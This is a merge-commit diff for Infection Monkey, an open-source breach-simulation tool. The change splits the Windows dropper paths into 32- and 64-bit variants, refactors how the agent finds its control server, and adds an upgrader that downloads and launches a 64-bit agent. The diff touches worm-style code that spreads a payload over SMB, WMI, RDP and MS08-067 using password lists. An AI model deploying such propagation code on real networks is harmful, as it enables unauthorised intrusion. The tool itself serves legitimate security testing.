Merge pull request #104 from guardicore/bugfix/upgrade-windows-32-to-64

Bugfix/upgrade windows 32 to 64

infection_monkey/config.py

@@ -1,4 +1,5 @@
 import os
+import struct
 import sys
 import types
 import uuid
@@ -115,7 +116,8 @@ class Configuration(object):
     dropper_set_date = True
     dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
     dropper_date_reference_path_linux = '/bin/sh'
-    dropper_target_path = r"C:\Windows\monkey.exe"
+    dropper_target_path_win_32 = r"C:\Windows\monkey32.exe"
+    dropper_target_path_win_64 = r"C:\Windows\monkey64.exe"
     dropper_target_path_linux = '/tmp/monkey'
 
     ###########################

infection_monkey/control.py

@@ -4,6 +4,7 @@ import platform
 from socket import gethostname
 
 import requests
+from requests.exceptions import ConnectionError
 
 import monkeyfs
 import tunnel
@@ -24,10 +25,10 @@ class ControlClient(object):
     proxies = {}
 
     @staticmethod
-    def wakeup(parent=None, default_tunnel=None, has_internet_access=None):
+    def wakeup(parent=None, has_internet_access=None):
-        LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers)
+        if parent:
-        if parent or default_tunnel:
+            LOG.debug("parent: %s" % (parent,))
-            LOG.debug("parent: %s, default_tunnel: %s" % (parent, default_tunnel))
+
         hostname = gethostname()
         if not parent:
             parent = GUID
@@ -35,10 +36,6 @@ class ControlClient(object):
         if has_internet_access is None:
             has_internet_access = check_internet_access(WormConfiguration.internet_services)
 
-        for server in WormConfiguration.command_servers:
-            try:
-                WormConfiguration.current_server = server
-
         monkey = {'guid': GUID,
                   'hostname': hostname,
                   'ip_addresses': local_ips(),
@@ -50,33 +47,55 @@ class ControlClient(object):
         if ControlClient.proxies:
             monkey['tunnel'] = ControlClient.proxies.get('https')
 
-                debug_message = "Trying to connect to server: %s" % server
+        requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,),
-                if ControlClient.proxies:
-                    debug_message += " through proxies: %s" % ControlClient.proxies
-                LOG.debug(debug_message)
-                reply = requests.post("https://%s/api/monkey" % (server,),
                       data=json.dumps(monkey),
                       headers={'content-type': 'application/json'},
                       verify=False,
                       proxies=ControlClient.proxies,
                       timeout=20)
+
+    @staticmethod
+    def find_server(default_tunnel=None):
+        LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers)
+        if default_tunnel:
+            LOG.debug("default_tunnel: %s" % (default_tunnel,))
+
+        current_server = ""
+
+        for server in WormConfiguration.command_servers:
+            try:
+                current_server = server
+
+                debug_message = "Trying to connect to server: %s" % server
+                if ControlClient.proxies:
+                    debug_message += " through proxies: %s" % ControlClient.proxies
+                LOG.debug(debug_message)
+                requests.get("https://%s/api?action=is-up" % (server,),
+                             verify=False,
+                             proxies=ControlClient.proxies)
+                WormConfiguration.current_server = current_server
                 break
 
-            except Exception as exc:
+            except ConnectionError as exc:
-                WormConfiguration.current_server = ""
+                current_server = ""
                 LOG.warn("Error connecting to control server %s: %s", server, exc)
 
-        if not WormConfiguration.current_server:
+        if current_server:
-            if not ControlClient.proxies:
+            return True
+        else:
+            if ControlClient.proxies:
+                return False
+            else:
                 LOG.info("Starting tunnel lookup...")
                 proxy_find = tunnel.find_tunnel(default=default_tunnel)
                 if proxy_find:
                     proxy_address, proxy_port = proxy_find
                     LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
                     ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
-                    ControlClient.wakeup(parent=parent, has_internet_access=has_internet_access)
+                    return ControlClient.find_server()
                 else:
                     LOG.info("No tunnel found")
+                    return False
 
     @staticmethod
     def keepalive():
@@ -249,7 +268,6 @@ class ControlClient(object):
                                   data=json.dumps(host_dict),
                                   headers={'content-type': 'application/json'},
                                   verify=False, proxies=ControlClient.proxies)
-
             if 200 == reply.status_code:
                 result_json = reply.json()
                 filename = result_json.get('filename')

infection_monkey/dropper.py

@@ -38,7 +38,7 @@ class MonkeyDrops(object):
         arg_parser.add_argument('-p', '--parent')
         arg_parser.add_argument('-t', '--tunnel')
         arg_parser.add_argument('-s', '--server')
-        arg_parser.add_argument('-d', '--depth')
+        arg_parser.add_argument('-d', '--depth', type=int)
         arg_parser.add_argument('-l', '--location')
         self.monkey_args = args[1:]
         self.opts, _ = arg_parser.parse_known_args(args)
@@ -56,7 +56,10 @@ class MonkeyDrops(object):
             return
 
         # we copy/move only in case path is different
-        file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
+        file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path'])
+
+        if not file_moved and os.path.exists(self._config['destination_path']):
+            os.remove(self._config['destination_path'])
 
         # first try to move the file
         if not file_moved and WormConfiguration.dropper_try_move_first:
@@ -105,8 +108,8 @@ class MonkeyDrops(object):
                 except:
                     LOG.warn("Cannot set reference date to destination file")
 
-        monkey_options = build_monkey_commandline_explicitly(
+        monkey_options =\
-            self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth))
+            build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
 
         if OperatingSystem.Windows == SystemInfoCollector.get_os():
             monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options

infection_monkey/example.conf

@@ -22,7 +22,8 @@
     "dropper_log_path_windows": "%temp%\\~df1562.tmp",
     "dropper_log_path_linux": "/tmp/user-1562",
     "dropper_set_date": true,
-    "dropper_target_path": "C:\\Windows\\monkey.exe",
+    "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
+    "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
     "dropper_target_path_linux": "/tmp/monkey",
 
 

infection_monkey/exploit/rdpgrinder.py

@@ -278,11 +278,11 @@ class RdpExploiter(HostExploiter):
 
         if self._config.rdp_use_vbs_download:
             command = RDP_CMDLINE_HTTP_VBS % {
-                'monkey_path': self._config.dropper_target_path,
+                'monkey_path': self._config.dropper_target_path_win_32,
                 'http_path': http_path, 'parameters': cmdline}
         else:
             command = RDP_CMDLINE_HTTP_BITS % {
-                'monkey_path': self._config.dropper_target_path,
+                'monkey_path': self._config.dropper_target_path_win_32,
                 'http_path': http_path, 'parameters': cmdline}
 
         user_password_pairs = self._config.get_exploit_user_password_pairs()

infection_monkey/exploit/smbexec.py

@@ -57,7 +57,7 @@ class SmbExploiter(HostExploiter):
                 # copy the file remotely using SMB
                 remote_full_path = SmbTools.copy_file(self.host,
                                                       src_path,
-                                                      self._config.dropper_target_path,
+                                                      self._config.dropper_target_path_win_32,
                                                       user,
                                                       password,
                                                       lm_hash,
@@ -85,9 +85,9 @@ class SmbExploiter(HostExploiter):
             return False
 
         # execute the remote dropper in case the path isn't final
-        if remote_full_path.lower() != self._config.dropper_target_path.lower():
+        if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
             cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
-                      build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
+                      build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
         else:
             cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
                       build_monkey_commandline(self.host, get_monkey_depth() - 1)

infection_monkey/exploit/win_ms08_067.py

@@ -214,7 +214,7 @@ class Ms08_067_Exploiter(HostExploiter):
         # copy the file remotely using SMB
         remote_full_path = SmbTools.copy_file(self.host,
                                               src_path,
-                                              self._config.dropper_target_path,
+                                              self._config.dropper_target_path_win_32,
                                               self._config.ms08_067_remote_user_add,
                                               self._config.ms08_067_remote_user_pass)
 
@@ -223,7 +223,7 @@ class Ms08_067_Exploiter(HostExploiter):
             for password in self._config.exploit_password_list:
                 remote_full_path = SmbTools.copy_file(self.host,
                                                       src_path,
-                                                      self._config.dropper_target_path,
+                                                      self._config.dropper_target_path_win_32,
                                                       "Administrator",
                                                       password)
                 if remote_full_path:
@@ -233,9 +233,9 @@ class Ms08_067_Exploiter(HostExploiter):
                 return False
 
         # execute the remote dropper in case the path isn't final
-        if remote_full_path.lower() != self._config.dropper_target_path.lower():
+        if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
             cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
-                      build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
+                      build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
         else:
             cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
                       build_monkey_commandline(self.host, get_monkey_depth() - 1)

infection_monkey/exploit/wmiexec.py

@@ -77,7 +77,7 @@ class WmiExploiter(HostExploiter):
             # copy the file remotely using SMB
             remote_full_path = SmbTools.copy_file(self.host,
                                                   src_path,
-                                                  self._config.dropper_target_path,
+                                                  self._config.dropper_target_path_win_32,
                                                   user,
                                                   password,
                                                   lm_hash,
@@ -88,9 +88,9 @@ class WmiExploiter(HostExploiter):
                 wmi_connection.close()
                 return False
             # execute the remote dropper in case the path isn't final
-            elif remote_full_path.lower() != self._config.dropper_target_path.lower():
+            elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
                 cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
-                          build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
+                          build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
             else:
                 cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
                           build_monkey_commandline(self.host, get_monkey_depth() - 1)

infection_monkey/main.py

@@ -91,7 +91,12 @@ def main():
 
     if WormConfiguration.use_file_logging:
         if os.path.exists(log_path):
+            # If log exists but can't be removed it means other monkey is running. This usually happens on upgrade
+            # from 32bit to 64bit monkey on Windows. In all cases this shouldn't be a problem.
+            try:
                 os.remove(log_path)
+            except OSError:
+                pass
         LOG_CONFIG['handlers']['file']['filename'] = log_path
         LOG_CONFIG['root']['handlers'].append('file')
     else:

infection_monkey/monkey.py

@@ -14,6 +14,7 @@ from network.firewall import app as firewall
 from network.network_scanner import NetworkScanner
 from system_info import SystemInfoCollector
 from system_singleton import SystemSingleton
+from windows_upgrader import WindowsUpgrader
 
 __author__ = 'itamar'
 
@@ -35,6 +36,8 @@ class InfectionMonkey(object):
         self._fingerprint = None
         self._default_server = None
         self._depth = 0
+        self._opts = None
+        self._upgrading_to_64 = False
 
     def initialize(self):
         LOG.info("Monkey is initializing...")
@@ -46,14 +49,13 @@ class InfectionMonkey(object):
         arg_parser.add_argument('-p', '--parent')
         arg_parser.add_argument('-t', '--tunnel')
         arg_parser.add_argument('-s', '--server')
-        arg_parser.add_argument('-d', '--depth')
+        arg_parser.add_argument('-d', '--depth', type=int)
-        opts, self._args = arg_parser.parse_known_args(self._args)
+        self._opts, self._args = arg_parser.parse_known_args(self._args)
 
-        self._parent = opts.parent
+        self._parent = self._opts.parent
-        self._default_tunnel = opts.tunnel
+        self._default_tunnel = self._opts.tunnel
-        self._default_server = opts.server
+        self._default_server = self._opts.server
-        if opts.depth:
+        if self._opts.depth:
-            WormConfiguration.depth = int(opts.depth)
             WormConfiguration._depth_from_commandline = True
         self._keep_running = True
         self._network = NetworkScanner()
@@ -69,15 +71,27 @@ class InfectionMonkey(object):
     def start(self):
         LOG.info("Monkey is running...")
 
-        if firewall.is_enabled():
+        if not ControlClient.find_server(default_tunnel=self._default_tunnel):
-            firewall.add_firewall_rule()
+            LOG.info("Monkey couldn't find server. Going down.")
-        ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel)
+            return
+
+        if WindowsUpgrader.should_upgrade():
+            self._upgrading_to_64 = True
+            self._singleton.unlock()
+            LOG.info("32bit monkey running on 64bit Windows. Upgrading.")
+            WindowsUpgrader.upgrade(self._opts)
+            return
+
+        ControlClient.wakeup(parent=self._parent)
         ControlClient.load_control_config()
 
         if not WormConfiguration.alive:
             LOG.info("Marked not alive from configuration")
             return
 
+        if firewall.is_enabled():
+            firewall.add_firewall_rule()
+
         monkey_tunnel = ControlClient.create_control_tunnel()
         if monkey_tunnel:
             monkey_tunnel.start()
@@ -216,23 +230,31 @@ class InfectionMonkey(object):
         LOG.info("Monkey cleanup started")
         self._keep_running = False
 
-        # Signal the server (before closing the tunnel)
+        if self._upgrading_to_64:
-        ControlClient.send_telemetry("state", {'done': True})
+            InfectionMonkey.close_tunnel()
+            firewall.close()
+        else:
+            ControlClient.send_telemetry("state", {'done': True})  # Signal the server (before closing the tunnel)
+            InfectionMonkey.close_tunnel()
+            firewall.close()
+            if WormConfiguration.send_log_to_server:
+                self.send_log()
+            self._singleton.unlock()
 
-        # Close tunnel
+        InfectionMonkey.self_delete()
+        LOG.info("Monkey is shutting down")
+
+    @staticmethod
+    def close_tunnel():
         tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
         if tunnel_address:
             LOG.info("Quitting tunnel %s", tunnel_address)
             tunnel.quit_tunnel(tunnel_address)
 
-        firewall.close()
+    @staticmethod
-
+    def self_delete():
-        if WormConfiguration.send_log_to_server:
+        if WormConfiguration.self_delete_in_cleanup \
-            self.send_log()
+                and -1 == sys.executable.find('python'):
-
-        self._singleton.unlock()
-
-        if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'):
             try:
                 if "win32" == sys.platform:
                     from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
@@ -247,8 +269,6 @@ class InfectionMonkey(object):
             except Exception as exc:
                 LOG.error("Exception in self delete: %s", exc)
 
-        LOG.info("Monkey is shutting down")
-
     def send_log(self):
         monkey_log_path = utils.get_monkey_log_path()
         if os.path.exists(monkey_log_path):

infection_monkey/utils.py

@@ -1,5 +1,6 @@
 import os
 import sys
+import struct
 
 from config import WormConfiguration
 
@@ -12,3 +13,19 @@ def get_monkey_log_path():
 def get_dropper_log_path():
     return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
         else WormConfiguration.dropper_log_path_linux
+
+
+def is_64bit_windows_os():
+    '''
+    Checks for 64 bit Windows OS using environment variables.
+    :return:
+    '''
+    return 'PROGRAMFILES(X86)' in os.environ
+
+
+def is_64bit_python():
+    return struct.calcsize("P") == 8
+
+
+def is_windows_os():
+    return sys.platform.startswith("win")

infection_monkey/windows_upgrader.py

@@ -0,0 +1,54 @@
+import logging
+import subprocess
+import sys
+import shutil
+
+import time
+
+import monkeyfs
+from config import WormConfiguration
+from control import ControlClient
+from exploit.tools import build_monkey_commandline_explicitly
+from model import MONKEY_CMDLINE_WINDOWS
+from utils import is_windows_os, is_64bit_windows_os, is_64bit_python
+
+__author__ = 'itay.mizeretz'
+
+LOG = logging.getLogger(__name__)
+
+if "win32" == sys.platform:
+    from win32process import DETACHED_PROCESS
+else:
+    DETACHED_PROCESS = 0
+
+
+class WindowsUpgrader(object):
+    __UPGRADE_WAIT_TIME__ = 3
+
+    @staticmethod
+    def should_upgrade():
+        return is_windows_os() and is_64bit_windows_os() \
+               and not is_64bit_python()
+
+    @staticmethod
+    def upgrade(opts):
+        monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False)
+        with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
+            with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
+                shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
+
+        monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)
+
+        monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {
+            'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options
+
+        monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
+                                          stdin=None, stdout=None, stderr=None,
+                                          close_fds=True, creationflags=DETACHED_PROCESS)
+
+        LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s",
+                 monkey_process.pid, monkey_cmdline)
+
+        time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
+        if monkey_process.poll() is not None:
+            LOG.error("Seems like monkey died too soon")

monkey_island/cc/resources/root.py

@@ -15,7 +15,6 @@ __author__ = 'Barak'
 
 class Root(flask_restful.Resource):
 
-    @jwt_required()
     def get(self, action=None):
         if not action:
             action = request.args.get('action')
@@ -26,15 +25,19 @@ class Root(flask_restful.Resource):
             return Root.reset_db()
         elif action == "killall":
             return Root.kill_all()
+        elif action == "is-up":
+            return {'is-up': True}
         else:
             return make_response(400, {'error': 'unknown action'})
 
     @staticmethod
+    @jwt_required()
     def get_server_info():
         return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db),
                        completed_steps=Root.get_completed_steps())
 
     @staticmethod
+    @jwt_required()
     def reset_db():
         # We can't drop system collections.
         [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
@@ -42,6 +45,7 @@ class Root(flask_restful.Resource):
         return jsonify(status='OK')
 
     @staticmethod
+    @jwt_required()
     def kill_all():
         mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}},
                                upsert=False,
@@ -49,6 +53,7 @@ class Root(flask_restful.Resource):
         return jsonify(status='OK')
 
     @staticmethod
+    @jwt_required()
     def get_completed_steps():
         is_any_exists = NodeService.is_any_monkey_exists()
         infection_done = NodeService.is_monkey_finished_running()

monkey_island/cc/services/config.py

@@ -421,11 +421,19 @@ SCHEMA = {
                             "default": "/tmp/monkey",
                             "description": "Determines where should the dropper place the monkey on a Linux machine"
                         },
-                        "dropper_target_path": {
+                        "dropper_target_path_win_32": {
-                            "title": "Dropper target path on Windows",
+                            "title": "Dropper target path on Windows (32bit)",
                             "type": "string",
-                            "default": "C:\\Windows\\monkey.exe",
+                            "default": "C:\\Windows\\monkey32.exe",
                             "description": "Determines where should the dropper place the monkey on a Windows machine "
+                                           "(32bit)"
+                        },
+                        "dropper_target_path_win_64": {
+                            "title": "Dropper target path on Windows (64bit)",
+                            "type": "string",
+                            "default": "C:\\Windows\\monkey64.exe",
+                            "description": "Determines where should the dropper place the monkey on a Windows machine "
+                                           "(64 bit)"
                         },
                         "dropper_try_move_first": {
                             "title": "Try to move first",